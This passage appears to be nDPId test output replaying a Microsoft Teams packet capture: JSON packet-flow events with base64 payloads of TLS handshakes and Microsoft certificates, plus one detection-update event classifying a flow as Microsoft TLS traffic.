VvXC5SIqdi0ldeOFgAHKwEABycwggcjCgEAoIIHHDCCBxgGCSsGAQUFBzABAQSCBwkwggcFMIHHohYEFCh3Ac5lnou4VSj4K88j38W8dhpMGA8yMDIwMDQxNjA0MDkxOVowgZswgZgwTDAJBgUrDgMCGgUABBQphfxhPb4vsBIPXkIOTJ7D1Z79fAQUCP4ln3TqhwTCvLuOqDhfM8bRbGUCEy0ABxTOQX2GWuq+brIAAAAHFM6AABgPMjAyMDA0MTYwNDA5MTlaoBEYDzIwMjAwNDIwMDQwOTE5WqEiMCAwHgYJKwYBBQUHMAEGBBEYDzIwMTkwNDE3MDQwOTE5WjANBgkqhkiG9w0BAQsFAAOCAQEAkY+0NVCyWnq+KPa32fe1YIM8e2fy76JPV\/ftYnZoOTbZstat2664voPYQbNKH6uJ8oX7n5yD5itDCtjsRJZVFK1Tb\/ZzdchtTxgjdIssRQ8+F8RPAqnyvhpLwX2IZf376QSSrDcWEM7QfOHS\/Bg+4SrfZ5g2BwhM0x7K5tLR\/L+MvGMS+aqcMsJfTLF5lTcwxYQawJGRvV4Ae8vgN9zTXYLyO7NpTrQ5LrcuO1YGXNbLEEgmzqBua6maBgC6c4sAiSdRxcyD5zIll8Yeiu3WP8s8"} +00440{"flow_id":55,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2208,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512328,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGVUrAqAEGaCi7l+ySAbtvi5rfgZbqp7AQEADtgQAAAQEICjCEweYBuRs+AQEFCoGW8EeBlvXn"} +02368{"flow_id":55,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2209,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512382,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUOsJAAGwG6PNoKLuXwKgBBgG77JKBluqnb4ua34AQBAVvBQAAAQEICgG5Gz4whMG5pNggrllHpezpWPESxzALBgNVHQ8EBAMCBLAwPQYDVR0RBDYwNIIZKi5hcGkubWljcm9zb2Z0c3RyZWFtLmNvbYIXYXBpLm1pY3Jvc29mdHN0cmVhbS5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBAEZHQbMTjwghzE+Plr6jTEoDl96w0a2HMmA0Eb76OSoGOslmGXMgamf69p4Av0JAaa+poo3j93rj\/2KhvPWujYWhHtFLpgy2CZVhHOgw6BXORC2BcEQTT4uejXSP2WaGqIoQqKCuFc557K4vuN5E2yk7B82fenJztZ3gdhuaapmHXzDBsOyxeQX+ydwICSo4hPpwiSSChSPjBFsiyAjPljTXo6AiOC8DbwknALnAm\/hDG1A6\/2a8FZ5SJNlltPwRo6l0pMncsnWGpDaEvN9Rrs7SzT3AbM7Stn1vXlA5sYhH4W4pkXAR11YhRkHTdlbZ4GSYrncR2sY9JnzmO26HA7+CKXZ6eq\/YVQpo0H7T\/SisqeLnQmZvxkBNfw6Y+ULr2CnBq074N9gl7T4\/6nfoAmFP2trGjb1PzxnzgD6G\/EHrBFfVN8caAgECh9miWAOaYO3iKZcn5Kp1FnekgAtZoCqljAja2XYkilKyrOpIErRQCWUQUuFgtAeBhTeKMKhDTI6xhaL6tFBb1usqKmzl\/DdqPsl27qx9hfDHRdLKnisIG\/prYnbNoMTN+6LUoiokPjkEsMNB1tXvSKYnXf\/BTfdgKlPtduEgHkfMlJf+kh4vnE+0tWIQ0+pQVXF0L7J4i8J6sYP9bZasYJB1uEiXpPG\/dDALBYkOnSCTaJjyfGbrAAW4MIIFtDCCBJygAwIBAgIQCIjNUl8ZJERNFKWCkd65UjANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE2MDUyMDEyNTMwM1oXDTI0MDUyMDEyNTMwM1owgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmt+BXDuPrul5lrmaeaeB8jnaVShGIwLFgmYHthXe\/Zw6GpuRCdJmjwuJF\/hxhyF\/ONM\/miUAtzXQq\/gIejbzUFvfKykn3qTdJJL69MZwjTYqmvCA3jX6HkKdCYGq1QcKFqXFWkJtQr4eQoK0VzCZW0Ur1I\/TCgbGc5Ok4YPvxb8FJ6d4zbML4J4iFvOY3KYU6MyU1yP50FCZ"} +00424{"flow_id":55,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2210,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512417,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGVVbAqAEGaCi7l+ySAbtvi5rfgZb154AQD6YCEAAAAQEICjCEweYBuRs+"} +00425{"flow_id":55,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2211,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGVVbAqAEGaCi7l+ySAbtvi5rfgZb154AQEAABtgAAAQEICjCEweYBuRs+"} +02371{"flow_id":55,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2212,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512514,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUOsRAAGwG6PFoKLuXwKgBBgG77JKBlvXnb4ua34AQBAU5\/wAAAQEICgG5Gz4whMG5WdzQ8y52SxWU16Scf68ezC2H47\/13fg4IWc2UhttkSRUxLoHxmdC0p1xLrPlL6CCBSMwggUfMIIFGzCCAwOgAwIBAgITbgAV008GZpZYESSv0QAAABXTTzANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDUwHhcNMjAwNDAyMTY1ODA5WhcNMjEwNDAyMTY1ODA5WjArMSkwJwYDVQQDDCBNaWNyb3NvZnRfSVRfVExTX0NBXzVfS2V5QmluZGluZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALe9sUVmBr885ww0\/DV2C\/a6ffmGt29Gej9sEt2pEOfDXRgjTaoeW5GFpefTLAQ1B7\/RH\/sNgms3VJNzcp4aOBPL6XRAoeu6V9Butg2QTohZpbgTSm7gucMtKhabg2Yn7gmi\/ySIqB\/qmccNZ\/U\/iJT2G4VCLfSxFmyHM9zSr1QIy9trgmyHuH4EHokUGOgkDDjoiib21RtI4vq7XPOvjMYYZeFk\/6ANKxBf65AcjJNlTkoT5uzmHZDweCWnUrGMRJUHSUKmbWew8dUKCO6abmL6cIs7PW5Of6qT22Tl9n3xDZm2D1\/CBCKByJr8PneTgro4XB\/DQ\/Mtg9wBLd2DsksCAwEAAaOB1jCB0zAdBgNVHQ4EFgQUKHcBzmWei7hVKPgrzyPfxbx2GkwwDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA8GCSsGAQUFBzABBQQCBQAwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYHMm0eByOkWAgFkAgEHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggIBAGXlpqd1D30S2SMlJCDj96swA77yR3rGOtw3Nsp0mZ1cMsII3HhX\/pPskAF1OKrbQ8HFW5fEQMWd00cTiv7cfbmJmmr7RJt7MIfYeQewwr5iF36rCSZUaSvzhRn3H+PQTQWVyZMufX\/GHyePYbIiYlnIXJRAs9qdOCHo5WNq48wjJ4AjE9m6QM2AbCV6JgGyrFUZdOy2E+Ai4XSCB63frMk3rnco5DHyW9+MvqscXgwr3Xfnyyh3K8VGqN2V7He8M95pNRFkFWk6PjHd\/xAlLxDuVo14yHusnCqJrJacHvhBbejI4IreUzsWdx99xwDSOL0+dz0TaMimYZBOEvYhQmc3wk1np7CZGaZ5SzAAROGqjUAF+mVP82qWwBkvSz02oir\/UctYDCmq7K023ZxecIp8AJlYcKmvPbTys23wZOFdOMgT3Qydg4xUy2p00NxCxqoSqqpnL67Lh4ITtnfWpNRz9dxMcQtPouPhq4aiFMMlsXY54lCZcpXjfooiGihIOo761RxVq0dz1LQ26PExGnBMhfenPMV3Iz1Z1Fa4VSPvtnb6sjaTGfAAiQA8PSRBPIE6KKcxh5ao5t+mnZW72mQNdBsbPgf50Me2uzXlte8dUVYjtkRiTpOJR0mJMyS8wF8RXfieonIMdicxQYlZO46G9autHs5BDA32kXZz1xUPDAABKAMAHSCv4CpW7MKHBztnc1DHuE6q+5m5gj0tAf+46mBrPHT5eAQBAQBwB3wR9zKXPvbqkYiHP2wosj\/4dIVnn1CfC8NwfCJV"} +00740{"flow_id":55,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2213,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512517,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":295,"pkt_l4_len":261,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEZOsVAAGwG7atoKLuXwKgBBgG77JKBlvuHb4ua34AYBAXWPgAAAQEICgG5Gz4whMG5EeY1MNfghvcwHwzk1R9gewO0913oGcQ7ndx4RSQ7pUPIhIxzukfB9cZ76w8elbcGVySLAVNwTs8FUVys1GNkCLUtjS7uWpnXQMNYqZXRNazc5X04H26RqJTAQRwGFwxlF88nbdaqFQ8LLE8aOjqT5pRtAVhdUU8ONZUonu1CEEHx4YShCJT\/pFwD0Q+t\/S1GvRluHzQI1PU4FYNin1je+XUNxHL4PzzF5ebWvUzrwnUMy424PiSaXPLa0lhdF3V\/0wHJZjlegYA\/bL0onOLa+i82kChtk8ACDf3J3zons95NDgAAAA=="} +00425{"flow_id":55,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2214,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512557,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGVVbAqAEGaCi7l+ySAbtvi5rfgZb8bIAQD8v7ZQAAAQEICjCEweYBuRs+"} +00552{"flow_id":55,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2215,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":513172,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAGVPnAqAEGaCi7l+ySAbtvi5rfgZb8bIAYEACnHwAAAQEICjCEwecBuRs+FgMDACUQAAAhIK8OxPDglBgHZglnqb7gvF58UKqTrjsDINopusiBzJIdFAMDAAEBFgMDACgAAAAAAAAAALlrraheuC8w74kfls05Db0QKifAhpbCHmrMWQWiTgCR"} +00556{"flow_id":55,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2216,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":536422,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAGVPnAqAEGaCi7l+ySAbtvi5s8gZb8bIAYEAADzQAAAQEICjCEwf4BuRs+FwMDAFgAAAAAAAAAARCMW2bwqXT7UTixKtqy+\/3offTIszbzNljWCXcfUDgxESE9Vl6yU8vG0W18lpajbvjn9lQhKY13DnqQb7ITJlbF\/vin\/\/OgkcJKMuyvbRYK"} +02364{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2223,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":543759,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEadAAGwGtDs0ck0hwKgBBgG77JHMBk4leMqws4AQBAXOpAAAAQEICmD0eukwhMEPFgMDEGYCAABRAwNemFWXIK0oyHH82ZnKM8fXtkVsDQe+2lPBST+P2Dy7ayC3CQAA8W2to0xoN6PEqbPNkxOmc6lmO\/jNnIu1n5VpGcAwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02360{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2224,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":544008,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEahAAGwGtDo0ck0hwKgBBgG77JHMBlPFeMqws4AQBAWI0gAAAQEICmD0eukwhMEPLnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00424{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2225,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":544052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyRAbt4yrCzzAZZZYAQD9MYCgAAAQEICjCEwgVg9Hrp"} +02215{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2226,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":544137,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfEalAAGwGtK40ck0hwKgBBgG77JHMBllleMqws4AYBAX8SgAAAQEICmD0eukwhMEPBM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdID2wq4f0lQfGVzJpXBccxBDfZYX0KpmIHjjd+E2DHQNZBAEBAHxjoU6KZqBWhq0to7klz28RtGCRfewEkiZZBupxVk2we2bTgitxHqh38ATXbY6PCdco8CFnNkHHFgZdf1YWP3eqxrQBJtIN8v1Uuab4peByIwFZ\/dYYbC3uCEfCFW5OLi269pqNDsX\/TobMaAKTY\/TJsSzK3l0fJxe6R6bSuN2iphhnLK9BLKRuwGE5arn5UNXv1Nfr82AeT6RqxXxcL6t7ffpnSbteYKR2CfLp2AXxoW85XqE3nt\/Aw+tG+pzzCq\/O7jSXvqYa2iiqDjVJoI+YgJlx\/o1Ox4KQIi0HyWy+8bc+ldGKSyt09\/kuFgloinUAIqrEuWDAdTSrmLCvlcoOAAAA"} +01301{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2226,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":10,"flow_first_seen":1587041687245,"flow_last_seen":1587041687544,"flow_tot_l4_data_len":4967,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":496,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60561,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00425{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2227,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":544169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyRAbt4yrCzzAZekIAQD6kTCQAAAQEICjCEwgVg9Hrp"} 